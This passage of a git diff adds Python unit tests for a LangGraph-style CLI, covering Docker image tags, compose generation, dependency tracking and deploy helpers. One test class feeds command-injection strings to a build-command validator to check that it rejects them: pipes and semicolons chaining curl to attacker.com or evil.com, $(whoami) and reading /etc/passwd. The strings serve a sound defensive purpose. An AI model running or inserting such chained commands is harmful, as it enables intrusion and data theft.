+    tag = docker_tag(config, api_version=version if not in_config else None)
+    assert tag == f"langchain/langgraphjs-api:{version}-node20"
+
+    # Test 4: Node.js config with api_version and wolfi distro
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+            "image_distro": "wolfi",
+            "api_version": version if in_config else None,
+        }
+    )
+    tag = docker_tag(config, api_version=version if not in_config else None)
+    assert tag == f"langchain/langgraphjs-api:{version}-node20-wolfi"
+
+    # Test 5: Custom base image with api_version
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "base_image": "my-registry/custom-image",
+            "api_version": version if in_config else None,
+        }
+    )
+    tag = docker_tag(
+        config,
+        base_image="my-registry/custom-image",
+        api_version=version if not in_config else None,
+    )
+    assert tag == f"my-registry/custom-image:{version}-py3.11"
+
+    # Test 6: api_version with different Python versions
+    for python_version in ["3.11", "3.12", "3.13"]:
+        config = validate_config(
+            {
+                "python_version": python_version,
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "api_version": version if in_config else None,
+            }
+        )
+        tag = docker_tag(config, api_version=version if not in_config else None)
+        assert tag == f"langchain/langgraph-api:{version}-py{python_version}"
+
+    # Test 7: Without api_version should work as before
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+    )
+    tag = docker_tag(config)
+    assert tag == "langchain/langgraph-api:3.11"
+
+    # Test 8: api_version with multiplatform config (should default to Python)
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "node_version": "20",
+            "dependencies": ["."],
+            "graphs": {"python": "./agent.py:graph", "js": "./agent.js:graph"},
+            "api_version": version if in_config else None,
+        }
+    )
+    tag = docker_tag(config, api_version=version if not in_config else None)
+    assert tag == f"langchain/langgraph-api:{version}-py3.11"
+
+    # Test 9: api_version with _INTERNAL_docker_tag should ignore api_version
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "_INTERNAL_docker_tag": "internal-tag",
+        }
+    )
+    tag = docker_tag(config, api_version="0.2.74")
+    assert tag == "langchain/langgraph-api:internal-tag"
+
+    # Test 10: api_version with langgraph-server base image should follow special format
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "api_version": version if in_config else None,
+        }
+    )
+    tag = docker_tag(
+        config,
+        base_image="langchain/langgraph-server",
+        api_version=version if not in_config else None,
+    )
+    assert tag == f"langchain/langgraph-server:{version}-py3.11"
+
+
+@pytest.mark.parametrize("in_config", [False, True])
+@pytest.mark.parametrize("version", ["0.9.0rc1", "0.9.0.dev1"])
+def test_docker_tag_with_prerelease_api_version(version: str, in_config: bool):
+    """Test docker_tag with prerelease and dev api_version values."""
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "api_version": version if in_config else None,
+        }
+    )
+
+    tag = docker_tag(config, api_version=version if not in_config else None)
+    assert tag == f"langchain/langgraph-api:{version}-py3.11"
+
+
+def test_docker_tag_with_compatible_api_version_promotes_to_latest_patch():
+    config = validate_config(
+        {
+            "python_version": "3.12",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "image_distro": "wolfi",
+            "api_version": "~=0.11.0.dev5",
+        }
+    )
+
+    with patch(
+        "langgraph_cli.config._get_pypi_versions",
+        return_value=[
+            "0.11.0.dev5",
+            "0.11.0.dev6",
+            "0.11.0rc1",
+            "0.11.0",
+            "0.11.1rc1",
+            "0.11.1",
+            "0.12.0rc1",
+        ],
+    ) as get_versions:
+        tag = docker_tag(config)
+
+    get_versions.assert_called_once_with("langgraph-api")
+    assert tag == "langchain/langgraph-api:0.11.1-py3.12-wolfi"
+
+
+def test_docker_tag_with_compatible_api_version_freezes_dev_until_rc():
+    config = validate_config(
+        {
+            "python_version": "3.12",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "api_version": "~=0.11.0.dev5",
+        }
+    )
+
+    with patch(
+        "langgraph_cli.config._get_pypi_versions",
+        return_value=[
+            "0.11.0.dev5",
+            "0.11.0.dev6",
+            "0.11.0.dev7",
+        ],
+    ):
+        tag = docker_tag(config)
+
+    assert tag == "langchain/langgraph-api:0.11.0.dev5-py3.12"
+
+
+def test_docker_tag_with_stable_floating_api_version_promotes_to_future_stable():
+    config = validate_config(
+        {
+            "python_version": "3.12",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "image_distro": "wolfi",
+            "api_version": ">~=0.11.0.dev5",
+        }
+    )
+
+    with patch(
+        "langgraph_cli.config._get_pypi_versions",
+        return_value=[
+            "0.11.0.dev5",
+            "0.11.0.dev6",
+            "0.11.0rc1",
+            "0.11.0",
+            "0.11.1",
+            "0.12.0rc1",
+            "0.12.0",
+            "0.13.0.dev1",
+            "0.13.0",
+        ],
+    ) as get_versions:
+        tag = docker_tag(config)
+
+    get_versions.assert_called_once_with("langgraph-api")
+    assert tag == "langchain/langgraph-api:0.13.0-py3.12-wolfi"
+
+
+def test_docker_tag_with_stable_floating_api_version_ignores_future_prereleases():
+    config = validate_config(
+        {
+            "python_version": "3.12",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "api_version": ">~=0.11.0.dev5",
+        }
+    )
+
+    with patch(
+        "langgraph_cli.config._get_pypi_versions",
+        return_value=[
+            "0.11.0.dev5",
+            "0.11.0",
+            "0.12.0rc1",
+            "0.12.0.dev1",
+        ],
+    ):
+        tag = docker_tag(config)
+
+    assert tag == "langchain/langgraph-api:0.11.0-py3.12"
+
+
+def test_validate_config_rejects_unrecognized_api_version_range_operator():
+    with pytest.raises(click.UsageError, match="Invalid version format"):
+        validate_config(
+            {
+                "python_version": "3.12",
+                "dependencies": ["."],
+                "graphs": {"agent": "./agent.py:graph"},
+                "api_version": "~>=0.11.0.dev5",
+            }
+        )
+
+
+def test_docker_tag_with_compatible_api_version_supports_node_images():
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+            "image_distro": "wolfi",
+            "api_version": "~=1.2.4",
+        }
+    )
+
+    with patch(
+        "langgraph_cli.config._get_pypi_versions",
+        return_value=[
+            "1.2.4",
+            "1.2.5",
+            "1.3.0",
+        ],
+    ) as get_versions:
+        tag = docker_tag(config)
+
+    get_versions.assert_called_once_with("langgraph-api")
+    assert tag == "langchain/langgraphjs-api:1.2.5-node20-wolfi"
+
+
+def test_docker_tag_with_compatible_api_version_rejects_tagged_base_image():
+    config = validate_config(
+        {
+            "python_version": "3.11",
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "api_version": "~=0.11.0.dev5",
+        }
+    )
+
+    with pytest.raises(click.UsageError, match="tagged base_image"):
+        docker_tag(config, base_image="langchain/langgraph-api:0.11.0")
+
+
+def test_config_to_docker_with_api_version():
+    """Test config_to_docker function with api_version parameter."""
+
+    # Test Python config with api_version
+    graphs = {"agent": "./agent.py:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        base_image="langchain/langgraph-api",
+        api_version="0.2.74",
+    )
+
+    # Check that the FROM line uses the api_version
+    lines = actual_docker_stdin.split("\n")
+    from_line = lines[0]
+    assert from_line == "FROM langchain/langgraph-api:0.2.74-py3.11"
+
+    # Test Node.js config with api_version
+    graphs = {"agent": "./agent.js:graph"}
+    actual_docker_stdin, additional_contexts = config_to_docker(
+        PATH_TO_CONFIG,
+        validate_config({"node_version": "20", "graphs": graphs}),
+        base_image="langchain/langgraphjs-api",
+        api_version="0.2.74",
+    )
+
+    # Check that the FROM line uses the api_version
+    lines = actual_docker_stdin.split("\n")
+    from_line = lines[0]
+    assert from_line == "FROM langchain/langgraphjs-api:0.2.74-node20"
+
+
+def test_config_to_compose_with_api_version():
+    """Test config_to_compose function with api_version parameter."""
+
+    # Test Python config with api_version
+    config = validate_config(
+        {
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+    )
+
+    actual_compose_str = config_to_compose(
+        PATH_TO_CONFIG,
+        config,
+        "langchain/langgraph-api",
+        api_version="0.2.74",
+    )
+
+    # Check that the compose file includes the correct FROM line with api_version
+    assert "FROM langchain/langgraph-api:0.2.74-py3.11" in actual_compose_str
+
+    # Test Node.js config with api_version
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+        }
+    )
+
+    actual_compose_str = config_to_compose(
+        PATH_TO_CONFIG,
+        config,
+        "langchain/langgraphjs-api",
+        api_version="0.2.74",
+    )
+
+    # Check that the compose file includes the correct FROM line with api_version
+    assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
+
+
+def test_default_base_image_combined_mode():
+    """Test default_base_image returns langgraph-api for combined_queue_worker mode."""
+    config = validate_config(
+        {
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+    )
+    assert default_base_image(config) == "langchain/langgraph-api"
+    assert (
+        default_base_image(config, engine_runtime_mode="combined_queue_worker")
+        == "langchain/langgraph-api"
+    )
+
+
+def test_default_base_image_distributed_mode():
+    """Test default_base_image returns langgraph-executor for distributed mode."""
+    config = validate_config(
+        {
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+        }
+    )
+    assert (
+        default_base_image(config, engine_runtime_mode="distributed")
+        == "langchain/langgraph-executor"
+    )
+
+
+def test_default_base_image_distributed_with_explicit_base():
+    """Test default_base_image returns explicit base_image even in distributed mode."""
+    config = validate_config(
+        {
+            "dependencies": ["."],
+            "graphs": {"agent": "./agent.py:graph"},
+            "base_image": "my-custom-image:latest",
+        }
+    )
+    assert (
+        default_base_image(config, engine_runtime_mode="distributed")
+        == "my-custom-image:latest"
+    )
+
+
+def test_default_base_image_nodejs():
+    """Test default_base_image returns langgraphjs-api for Node.js config."""
+    config = validate_config(
+        {
+            "node_version": "20",
+            "graphs": {"agent": "./agent.js:graph"},
+        }
+    )
+    assert default_base_image(config) == "langchain/langgraphjs-api"
+
+
+def test_config_to_docker_executor_base_image():
+    """Test config_to_docker with executor base image for distributed mode."""
+    graphs = {"agent": "./agent.py:graph"}
+    config = validate_config({"dependencies": ["."], "graphs": graphs})
+    actual_docker_stdin, _ = config_to_docker(
+        PATH_TO_CONFIG,
+        config,
+        base_image="langchain/langgraph-executor",
+    )
+    assert "FROM langchain/langgraph-executor:3.11" in actual_docker_stdin
+    assert "LANGSERVE_GRAPHS=" in actual_docker_stdin
+
+
+def test_config_to_compose_distributed_mode():
+    """Test config_to_compose with engine_runtime_mode='distributed'."""
+    graphs = {"agent": "./agent.py:graph"}
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        "langchain/langgraph-api",
+        engine_runtime_mode="distributed",
+    )
+
+    # API service uses langchain/langgraph-api base image
+    assert "FROM langchain/langgraph-api:3.11" in actual_compose_stdin
+
+    # Orchestrator service is present
+    assert "langgraph-orchestrator:" in actual_compose_stdin
+    assert "EXECUTOR_TARGET: langgraph-executor:8188" in actual_compose_stdin
+
+    # Executor service is present with correct base image
+    assert "langgraph-executor:" in actual_compose_stdin
+    assert "FROM langchain/langgraph-executor:3.11" in actual_compose_stdin
+    assert (
+        'entrypoint: ["sh", "/storage/executor_entrypoint.sh"]' in actual_compose_stdin
+    )
+
+    # Executor has required environment variables
+    assert "EXECUTOR_GRPC_PORT:" in actual_compose_stdin
+    assert "ENGINE_GRPC_ADDRESS:" in actual_compose_stdin
+    assert "LSD_GRPC_SERVER_ADDRESS:" in actual_compose_stdin
+    assert 'LANGGRAPH_HTTP: ""' in actual_compose_stdin
+    assert "REDIS_URI: redis://langgraph-redis:6379" in actual_compose_stdin
+
+
+def test_config_to_compose_distributed_mode_with_env_file():
+    """Test config_to_compose distributed mode propagates env_file to all services."""
+    graphs = {"agent": "./agent.py:graph"}
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs, "env": ".env"}),
+        "langchain/langgraph-api",
+        engine_runtime_mode="distributed",
+    )
+
+    # env_file should appear multiple times: API, orchestrator, executor
+    env_file_count = actual_compose_stdin.count("env_file: .env")
+    assert env_file_count == 3, (
+        f"Expected env_file to appear 3 times (api, orchestrator, executor), "
+        f"got {env_file_count}"
+    )
+
+
+def test_config_to_compose_distributed_mode_generates_two_dockerfiles():
+    """Test that distributed mode generates separate Dockerfiles for API and executor."""
+    graphs = {"agent": "./agent.py:graph"}
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        "langchain/langgraph-api",
+        engine_runtime_mode="distributed",
+    )
+
+    # Should contain two different FROM lines
+    from_lines = [
+        line.strip()
+        for line in actual_compose_stdin.splitlines()
+        if line.strip().startswith("FROM ")
+    ]
+    assert len(from_lines) == 2
+    assert "FROM langchain/langgraph-api:3.11" in from_lines[0]
+    assert "FROM langchain/langgraph-executor:3.11" in from_lines[1]
+
+
+def test_config_to_compose_combined_mode_no_orchestrator():
+    """Test that combined_queue_worker mode does NOT generate orchestrator/executor."""
+    graphs = {"agent": "./agent.py:graph"}
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        "langchain/langgraph-api",
+        engine_runtime_mode="combined_queue_worker",
+    )
+    assert "langgraph-orchestrator:" not in actual_compose_stdin
+    assert "langgraph-executor:" not in actual_compose_stdin
+
+
+def test_config_to_compose_default_mode_no_orchestrator():
+    """Test that default mode (no engine_runtime_mode) has no orchestrator/executor."""
+    graphs = {"agent": "./agent.py:graph"}
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        "langchain/langgraph-api",
+    )
+    assert "langgraph-orchestrator:" not in actual_compose_stdin
+    assert "langgraph-executor:" not in actual_compose_stdin
+
+
+def test_config_to_compose_distributed_executor_gets_correct_paths():
+    """Test that executor Dockerfile gets correct host paths despite API Dockerfile
+    mutation. This validates the deep copy fix in config_to_compose -- without it,
+    the executor's config_to_docker call would see already-mutated container paths
+    from the API's config_to_docker call, causing FileNotFoundError."""
+    graphs = {"agent": "./agent.py:graph"}
+    actual_compose_stdin = config_to_compose(
+        PATH_TO_CONFIG,
+        validate_config({"dependencies": ["."], "graphs": graphs}),
+        "langchain/langgraph-api",
+        engine_runtime_mode="distributed",
+    )
+
+    # Both API and executor Dockerfiles should contain valid LANGSERVE_GRAPHS
+    # referencing container paths (not host paths). If the deep copy was missing,
+    # the executor Dockerfile would fail to generate or have wrong paths.
+    from_lines = [
+        line.strip()
+        for line in actual_compose_stdin.splitlines()
+        if "LANGSERVE_GRAPHS=" in line.strip()
+    ]
+    assert len(from_lines) == 2, (
+        f"Expected 2 LANGSERVE_GRAPHS lines (api + executor), got {len(from_lines)}"
+    )
+
+
+class TestHasDisallowedBuildCommandContent:
+    """Tests for has_disallowed_build_command_content."""
+
+    @pytest.mark.parametrize(
+        "char",
+        ['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
+    )
+    def test_disallowed_chars_rejected(self, char: str) -> None:
+        assert has_disallowed_build_command_content(f"npm install{char}some-package")
+
+    @pytest.mark.parametrize(
+        "cmd",
+        [
+            "pip install foo | curl attacker.com",
+            "npm install; curl evil.com",
+            "pip install $(whoami)",
+            "pip install ${IFS}evil",
+            "curl evil.com & disown",
+            "npm install & curl evil.com",
+            "pip install > /dev/null",
+            "cat < /etc/passwd",
+        ],
+    )
+    def test_injection_patterns_rejected(self, cmd: str) -> None:
+        assert has_disallowed_build_command_content(cmd)
+
+    def test_single_ampersand_rejected(self) -> None:
+        assert has_disallowed_build_command_content("npm install & curl evil.com")
+
+    def test_double_ampersand_allowed(self) -> None:
+        assert not has_disallowed_build_command_content("npm install && npm run build")
+
+    @pytest.mark.parametrize(
+        "cmd",
+        [
+            "npm install",
+            "pnpm install --frozen-lockfile",
+            "next build && next export",
+            "npm ci && npm run build",
+            "pip install -e '.[dev]'",
+        ],
+    )
+    def test_valid_commands_allowed(self, cmd: str) -> None:
+        assert not has_disallowed_build_command_content(cmd)
diff --git a/libs/cli/tests/unit_tests/test_dependency_tracking.py b/libs/cli/tests/unit_tests/test_dependency_tracking.py
new file mode 100644
index 0000000..699b552
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_dependency_tracking.py
@@ -0,0 +1,134 @@
+import pathlib
+
+import pytest
+
+from langgraph_cli.dependency_tracking import (
+    TRACKED_PACKAGES,
+    find_tracked_packages,
+)
+
+
+def _write_project(
+    tmp_path: pathlib.Path,
+    *,
+    dep_subdir: str = ".",
+    uv_lock: str | None = None,
+    pyproject: str | None = None,
+    requirements: str | None = None,
+    dependencies: list[str] | None = None,
+) -> tuple[pathlib.Path, dict]:
+    project_root = tmp_path
+    dep_dir = (project_root / dep_subdir).resolve()
+    dep_dir.mkdir(parents=True, exist_ok=True)
+    if uv_lock is not None:
+        (dep_dir / "uv.lock").write_text(uv_lock)
+    if pyproject is not None:
+        (dep_dir / "pyproject.toml").write_text(pyproject)
+    if requirements is not None:
+        (dep_dir / "requirements.txt").write_text(requirements)
+    config = project_root / "langgraph.json"
+    config.write_text("{}")
+    config_json = {"dependencies": dependencies or [dep_subdir]}
+    return config, config_json
+
+
+def test_uv_lock_resolved_version_preferred(tmp_path: pathlib.Path) -> None:
+    config, config_json = _write_project(
+        tmp_path,
+        uv_lock='name = "google-adk"\nversion = "1.2.3"\n',
+        pyproject='dependencies = ["google-adk>=0.5"]',
+    )
+    assert find_tracked_packages(config, config_json) == ["google-adk:1.2.3"]
+
+
+def test_pyproject_specifier_used_when_no_lock(tmp_path: pathlib.Path) -> None:
+    config, config_json = _write_project(
+        tmp_path,
+        pyproject='dependencies = ["google-adk>=0.5,<2"]',
+    )
+    assert find_tracked_packages(config, config_json) == ["google-adk:>=0.5,<2"]
+
+
+def test_requirements_txt_specifier(tmp_path: pathlib.Path) -> None:
+    config, config_json = _write_project(
+        tmp_path,
+        requirements="google-adk==1.0.0\n",
+    )
+    assert find_tracked_packages(config, config_json) == ["google-adk:==1.0.0"]
+
+
+def test_bare_reference_records_unknown(tmp_path: pathlib.Path) -> None:
+    config, config_json = _write_project(
+        tmp_path,
+        requirements="google-adk\nother-pkg==1.0\n",
+    )
+    assert find_tracked_packages(config, config_json) == ["google-adk:unknown"]
+
+
+def test_extras_bracket_records_unknown(tmp_path: pathlib.Path) -> None:
+    config, config_json = _write_project(
+        tmp_path,
+        pyproject='dependencies = ["deployments-wrap-sdk[google-adk]>=0.0.1"]',
+    )
+    assert find_tracked_packages(config, config_json) == ["google-adk:unknown"]
+
+
+def test_no_match_returns_empty(tmp_path: pathlib.Path) -> None:
+    config, config_json = _write_project(
+        tmp_path,
+        pyproject='dependencies = ["langgraph>=0.2"]',
+    )
+    assert find_tracked_packages(config, config_json) == []
+
+
+def test_traversal_dep_path_is_skipped(tmp_path: pathlib.Path) -> None:
+    outside = tmp_path.parent / "outside-project"
+    outside.mkdir(exist_ok=True)
+    (outside / "uv.lock").write_text('name = "google-adk"\nversion = "9.9.9"\n')
+    project_root = tmp_path / "project"
+    project_root.mkdir()
+    config = project_root / "langgraph.json"
+    config.write_text("{}")
+    config_json = {"dependencies": ["../outside-project"]}
+    assert find_tracked_packages(config, config_json) == []
+
+
+def test_dep_paths_scanned_in_order(tmp_path: pathlib.Path) -> None:
+    project_root = tmp_path
+    (project_root / "first").mkdir()
+    (project_root / "second").mkdir()
+    (project_root / "second" / "uv.lock").write_text(
+        'name = "google-adk"\nversion = "2.0.0"\n'
+    )
+    config = project_root / "langgraph.json"
+    config.write_text("{}")
+    config_json = {"dependencies": ["first", "second"]}
+    assert find_tracked_packages(config, config_json) == ["google-adk:2.0.0"]
+
+
+def test_non_string_dep_entry_ignored(tmp_path: pathlib.Path) -> None:
+    project_root = tmp_path
+    config = project_root / "langgraph.json"
+    config.write_text("{}")
+    config_json = {"dependencies": [123, None]}
+    assert find_tracked_packages(config, config_json) == []
+
+
+def test_oversized_file_is_truncated_not_raised(tmp_path: pathlib.Path) -> None:
+    project_root = tmp_path
+    config = project_root / "langgraph.json"
+    config.write_text("{}")
+    # 6 MB of irrelevant content followed by the tracked-package marker —
+    # the read cap drops the marker, so nothing should be found.
+    padded = ("x" * (6 * 1024 * 1024)) + '\nname = "google-adk"\nversion = "1.0.0"\n'
+    (project_root / "uv.lock").write_text(padded)
+    assert find_tracked_packages(config, {"dependencies": ["."]}) == []
+
+
+@pytest.mark.parametrize("pkg", TRACKED_PACKAGES)
+def test_every_tracked_package_is_detectable(tmp_path: pathlib.Path, pkg: str) -> None:
+    config, config_json = _write_project(
+        tmp_path,
+        uv_lock=f'name = "{pkg}"\nversion = "1.0.0"\n',
+    )
+    assert find_tracked_packages(config, config_json) == [f"{pkg}:1.0.0"]
diff --git a/libs/cli/tests/unit_tests/test_deploy_helpers.py b/libs/cli/tests/unit_tests/test_deploy_helpers.py
new file mode 100644
index 0000000..cdeb0d3
--- /dev/null
+++ b/libs/cli/tests/unit_tests/test_deploy_helpers.py
@@ -0,0 +1,752 @@
+import asyncio
+import base64
+import io
+import json
+import os
+import sys
+from unittest.mock import MagicMock
+
+import click
+import click.exceptions
+import httpx
+import pytest
+
+import langgraph_cli.deploy as deploy_mod
+from langgraph_cli.deploy import (
+    _call_host_backend_with_optional_tenant,
+    _create_host_backend_client,
+    _docker_config_for_token,
+    _Emitter,
+    _env_without_deployment_name,
+    _parse_env_from_config,
+    _resolve_env_path,
+    _resolve_pushed_image_digest,
+    _smith_dashboard_base_url,
+    _validate_prebuilt_image,
+    normalize_image_tag,
+    normalize_name,
+)
+from langgraph_cli.host_backend import HostBackendClient, HostBackendError
+
+
+class TestDockerConfigForToken:
+    def test_creates_config_json(self):
+        with _docker_config_for_token("us-docker.pkg.dev", "my-token") as cfg:
+            config_path = os.path.join(cfg, "config.json")
+            assert os.path.isfile(config_path)
+            with open(config_path) as f:
+                data = json.load(f)
+            expected_auth = base64.b64encode(b"oauth2accesstoken:my-token").decode()
+            assert data == {"auths": {"us-docker.pkg.dev": {"auth": expected_auth}}}
+
+    def test_tempdir_cleaned_up(self):
+        with _docker_config_for_token("registry.example.com", "tok") as cfg:
+            assert os.path.isdir(cfg)
+        assert not os.path.exists(cfg)
+
+    def test_different_registries(self):
+        with _docker_config_for_token("gcr.io", "token123") as cfg:
+            with open(os.path.join(cfg, "config.json")) as f:
+                data = json.load(f)
+            assert "gcr.io" in data["auths"]
+
+
+class TestNormalizeName:
+    def test_simple_name(self):
+        assert normalize_name("myapp") == "myapp"
+
+    def test_uppercase_lowered(self):
+        assert normalize_name("MyApp") == "myapp"
+
+    def test_special_chars_replaced(self):
+        assert normalize_name("my app!@#v2") == "my-app-v2"
+
+    def test_dots_replaced_with_hyphens(self):
+        assert normalize_name("my-app.v2") == "my-app-v2"
+
+    def test_underscores_replaced_with_hyphens(self):
+        assert normalize_name("simple_graph_name") == "simple-graph-name"
+
+    def test_leading_trailing_stripped(self):
+        assert normalize_name("--my-app..") == "my-app"
+
+    def test_empty_string_returns_app(self):
+        assert normalize_name("") == "app"
+
+    def test_none_returns_app(self):
+        assert normalize_name(None) == "app"
+
+    def test_all_invalid_chars_returns_app(self):
+        assert normalize_name("!!!") == "app"
+
+
+class TestNormalizeImageTag:
+    def test_valid_tag(self):
+        assert normalize_image_tag("v1.2.3") == "v1.2.3"
+
+    def test_empty_defaults_to_latest(self):
+        assert normalize_image_tag("") == "latest"
+
+    def test_alphanumeric_and_special(self):
+        assert normalize_image_tag("my_tag-1.0") == "my_tag-1.0"
+
+    def test_invalid_chars_raises(self):
+        with pytest.raises(click.UsageError, match="Image tag may only contain"):
+            normalize_image_tag("v1.0:bad")
+
+    def test_spaces_raises(self):
+        with pytest.raises(click.UsageError, match="Image tag may only contain"):
+            normalize_image_tag("has space")
+
+
+class _FakeRunner:
+    def run(self, coro):
+        return asyncio.run(coro)
+
+
+class TestValidatePrebuiltImage:
+    def test_accepts_linux_amd64(self, monkeypatch):
+        calls = []
+
+        async def fake_subp_exec(*args, **kwargs):
+            calls.append((args, kwargs))
+            return "linux/amd64\n", None
+
+        monkeypatch.setattr(deploy_mod, "subp_exec", fake_subp_exec)
+
+        _validate_prebuilt_image(_FakeRunner(), "repo/app:tag", verbose=False)
+
+        assert calls == [
+            (
+                (
+                    "docker",
+                    "image",
+                    "inspect",
+                    "--format",
+                    "{{.Os}}/{{.Architecture}}",
+                    "repo/app:tag",
+                ),
+                {"verbose": False, "collect": True},
+            )
+        ]
+
+    def test_missing_docker_binary_raises_actionable_error(self, monkeypatch):
+        async def fake_subp_exec(*args, **kwargs):
+            raise FileNotFoundError("docker")
+
+        monkeypatch.setattr(deploy_mod, "subp_exec", fake_subp_exec)
+
+        with pytest.raises(click.ClickException, match="Docker is required"):
+            _validate_prebuilt_image(_FakeRunner(), "repo/app:tag", verbose=False)
+
+    def test_missing_image_raises_actionable_error(self, monkeypatch):
+        async def fake_subp_exec(*args, **kwargs):
+            raise click.exceptions.Exit(1)
+
+        monkeypatch.setattr(deploy_mod, "subp_exec", fake_subp_exec)
+
+        with pytest.raises(click.ClickException, match="not found locally"):
+            _validate_prebuilt_image(_FakeRunner(), "missing:tag", verbose=False)
+
+    def test_rejects_non_amd64_platform(self, monkeypatch):
+        async def fake_subp_exec(*args, **kwargs):
+            return "linux/arm64\n", None
+
+        monkeypatch.setattr(deploy_mod, "subp_exec", fake_subp_exec)
+
+        with pytest.raises(click.ClickException, match="requires linux/amd64"):
+            _validate_prebuilt_image(_FakeRunner(), "repo/app:arm", verbose=False)
+
+
+class TestParseEnvFromConfig:
+    def test_env_dict(self, tmp_path):
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        result = _parse_env_from_config({"env": {"FOO": "bar", "NUM": 42}}, config_path)
+        assert result == {"FOO": "bar", "NUM": "42"}
+
+    def test_env_string_dotenv_file(self, tmp_path):
+        env_file = tmp_path / "my.env"
+        env_file.write_text("KEY1=val1\nKEY2=val2\n")
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        result = _parse_env_from_config({"env": "my.env"}, config_path)
+        assert result == {"KEY1": "val1", "KEY2": "val2"}
+
+    def test_env_missing_falls_back_to_dotenv(self, tmp_path, monkeypatch):
+        env_file = tmp_path / ".env"
+        env_file.write_text("DEFAULT_KEY=default_val\n")
+        monkeypatch.chdir(tmp_path)
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        result = _parse_env_from_config({}, config_path)
+        assert result == {"DEFAULT_KEY": "default_val"}
+
+    def test_env_empty_dict_falls_back_to_dotenv(self, tmp_path, monkeypatch):
+        """validate_config defaults env to {}, should still fall back to .env."""
+        env_file = tmp_path / ".env"
+        env_file.write_text("MY_KEY=my_val\n")
+        monkeypatch.chdir(tmp_path)
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        result = _parse_env_from_config({"env": {}}, config_path)
+        assert result == {"MY_KEY": "my_val"}
+
+    def test_env_missing_no_dotenv_returns_empty(self, tmp_path, monkeypatch):
+        monkeypatch.chdir(tmp_path)
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        result = _parse_env_from_config({}, config_path)
+        assert result == {}
+
+    def test_env_dotenv_filters_none_values(self, tmp_path):
+        # Lines like "KEY=" produce empty string, lines like "KEY" produce None
+        env_file = tmp_path / "test.env"
+        env_file.write_text("GOOD=value\nEMPTY=\n")
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        result = _parse_env_from_config({"env": "test.env"}, config_path)
+        assert "GOOD" in result
+        assert result["GOOD"] == "value"
+        # EMPTY= gives empty string, not None, so it should be present
+        assert result["EMPTY"] == ""
+
+
+class TestResolveEnvPath:
+    def test_inline_env_dict_returns_none(self, tmp_path):
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        assert _resolve_env_path({"env": {"FOO": "bar"}}, config_path) is None
+
+    def test_relative_env_path_resolves(self, tmp_path):
+        env_file = tmp_path / "custom.env"
+        env_file.write_text("FOO=bar\n")
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+
+        resolved = _resolve_env_path({"env": "custom.env"}, config_path)
+        assert resolved == env_file.resolve()
+
+    def test_missing_env_file_returns_none(self, tmp_path):
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        assert _resolve_env_path({"env": "missing.env"}, config_path) is None
+
+    def test_default_env_is_cwd_dotenv(self, tmp_path, monkeypatch):
+        monkeypatch.chdir(tmp_path)
+        config_path = tmp_path / "langgraph.json"
+        config_path.touch()
+        assert _resolve_env_path({}, config_path) == tmp_path / ".env"
+
+
+class TestEnvWithoutDeploymentName:
+    def test_removes_deployment_name_only(self):
+        env = {
+            "LANGSMITH_DEPLOYMENT_NAME": "my-deploy",
+            "KEEP_ME": "value",
+        }
+        cleaned = _env_without_deployment_name(env)
+
+        assert "LANGSMITH_DEPLOYMENT_NAME" not in cleaned
+        assert cleaned["KEEP_ME"] == "value"
+        # Original dict should be unchanged.
+        assert env["LANGSMITH_DEPLOYMENT_NAME"] == "my-deploy"
+
+    def test_noop_when_deployment_name_absent(self):
+        env = {"FOO": "bar"}
+        assert _env_without_deployment_name(env) == {"FOO": "bar"}
+
+
+class TestCallHostBackendWithOptionalTenant:
